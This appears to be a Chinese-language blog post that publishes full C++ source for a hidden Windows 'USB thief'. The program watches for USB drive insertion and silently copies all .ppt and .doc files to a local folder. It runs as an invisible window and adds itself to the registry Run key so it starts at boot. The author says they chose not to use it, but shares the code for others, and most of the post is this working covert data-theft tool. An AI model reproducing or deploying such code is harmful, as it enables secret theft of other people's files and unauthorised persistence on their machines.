前幾天女朋友說老師上課的PPT不共享,沒法復習,想着寫個U盤小偷拷貝PPT來着,后來覺得這樣的行為這是不對的,萬一不小心復制了老師的專利啥的,或者一些不可描述的東西,就鬧大了。
雖然沒有采取實際行動,但是相關的功能還是實現,技術共享。
重點就是U盤插入監控,獲得U盤盤符,開機自啟動,文件掃描和復制。
1.對u盤插入行為監控,並獲得盤符
當U盤插入的時候會產生一個消息WM_DEVICECHANG,只要我們獲得這個消息,然后進行處理就行。
為了獲得消息,我們需要一個窗口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { static TCHAR szAppName[] = TEXT("UUUUUU"); HWND hwnd; MSG msg; WNDCLASS wndclass; wndclass.style = 0; wndclass.lpfnWndProc = WndProc; wndclass.cbClsExtra = 0; wndclass.cbWndExtra = 0; wndclass.hInstance = hInstance; wndclass.hIcon = 0; wndclass.hCursor = 0; wndclass.hbrBackground = 0; wndclass.lpszMenuName = NULL; wndclass.lpszClassName = szAppName; SetAutoRun(TRUE); if (!RegisterClass(&wndclass)) { MessageBox(NULL, TEXT("Program requires Windows NT!"), szAppName, MB_ICONERROR); return 0; } hwnd = CreateWindow(szAppName, NULL, WS_DISABLED, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; }
窗口回調函數:
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_CREATE: //處理一些要下面要用到的全局變量 U[1] = ':'; SetTimer(hwnd, TIMER, 5000, 0);//啟動計時器 return 0; case WM_TIMER: //timer message SendMessage(hwnd, WM_DEVICECHANGE, 0, 0);//檢測有沒有插入設備消息 return 0; case WM_DEVICECHANGE: OnDeviceChange(hwnd, wParam, lParam); return 0; case WM_DESTROY: KillTimer(hwnd, TIMER); PostQuitMessage(0); return 0; } return DefWindowProc(hwnd, message, wParam, lParam); }
OnDeviceChange函數是對WM_DEVICECHANGE消息的處理,在這個函數里,就可以實現對u盤插入行為的監控,並處理。
LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam) { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; switch (wParam) { case DBT_DEVICEARRIVAL: //插入 if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME) { PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb; U[0] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盤盤符 //MessageBox(0, U, "Notice!", MB_OK); string Utemp; Utemp = U; // Utemp += "\\"; Filesearch(Utemp, 0); //搜索u盤 CopyPPT(FileList); //復制ppt CopyDOC(FileList); //復制doc //MessageBox(0, "Copy Success", "Notice!", MB_OK); } break; case DBT_DEVICEREMOVECOMPLETE: //設備刪除 //MessageBox(0, "u盤退出", "Notice!", MB_OK); break; } return LRESULT(); }
FirstDriveFromMask(lpdbv->dbcv_unitmask);可以獲得盤符,有了盤符,U盤就相當於一個普通的文件夾了。
2.文件遍歷 查找 搜索 復制
void Filesearch(string Path, int Layer) { FileInfo FileInfomation; struct _finddata_t filefind; string Current = Path + "\\*.*"; // 修改此處改變搜索條件 int Done = 0, i, Handle; string FullPath; if ((Handle = _findfirst(Current.c_str(), &filefind)) != -1) { while (!(Done = _findnext(Handle, &filefind))) { if (strcmp(filefind.name, "..") == 0) continue; for (i = 0; i <Layer; i++) printf("\t"); if ((_A_SUBDIR == filefind.attrib)) // 是目錄 { printf("[Dir]:\t%s\n", filefind.name); Current = Path + "\\" + filefind.name; Filesearch(Current, Layer + 1); // 遞歸遍歷子目錄 } else { printf("[File]:\t%s\n", filefind.name); FullPath = Path + "\\" + filefind.name; FileInfomation.Name = filefind.name; FileInfomation.FullPath = FullPath; FileList.push_back(FileInfomation); FullPath.empty(); } } _findclose(Handle); } } void CopyPPT(vector<FileInfo> FileList) { mkdir("C:\\Destest"); for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator) { string TempPath; //printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".ppt")) > 0) { TempPath = DesPath + "\\" + iterator->Name ; BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false); cout << GetLastError(); if (bOk == TRUE) { // MessageBox(0, "Copy Success", "Notice!", MB_OK); } else { // MessageBox(0, "Copy Fail", "Notice!", MB_OK); } } } } void CopyDOC(vector<FileInfo> FileList) { mkdir("C:\\Destest"); for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator) { string TempPath; //printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".doc")) > 0) { TempPath = DesPath + "\\" + iterator->Name; BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false); cout << GetLastError(); if (bOk == TRUE) { // MessageBox(0, "Copy Success", "Notice!", MB_OK); } else { // MessageBox(0, "Copy Fail", "Notice!", MB_OK); } } } }
3.開機自啟動 注冊表實現
void SetAutoRun(BOOL bAutoRun) { HKEY hKey; char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系統的啟動項 if (bAutoRun) { if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打開啟動項 { TCHAR szModule[_MAX_PATH]; GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路徑 RegSetValueEx(hKey, "U盤檢測", 0, REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一個子Key,並設置值,"Client"是應用程序名字(不加后綴.exe) RegCloseKey(hKey); //關閉注冊表 } else { // MessageBox("系統參數錯誤,不能隨系統啟動"); } } else { if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "U盤檢測"); RegCloseKey(hKey); } } }
Win10下可以實現功能,另外這不是控制台程序,為了實現對消息的監控,這得是窗口程序。
猥瑣的小程序可能包含一些奇淫技巧,但是還是不能做非法不道德事。
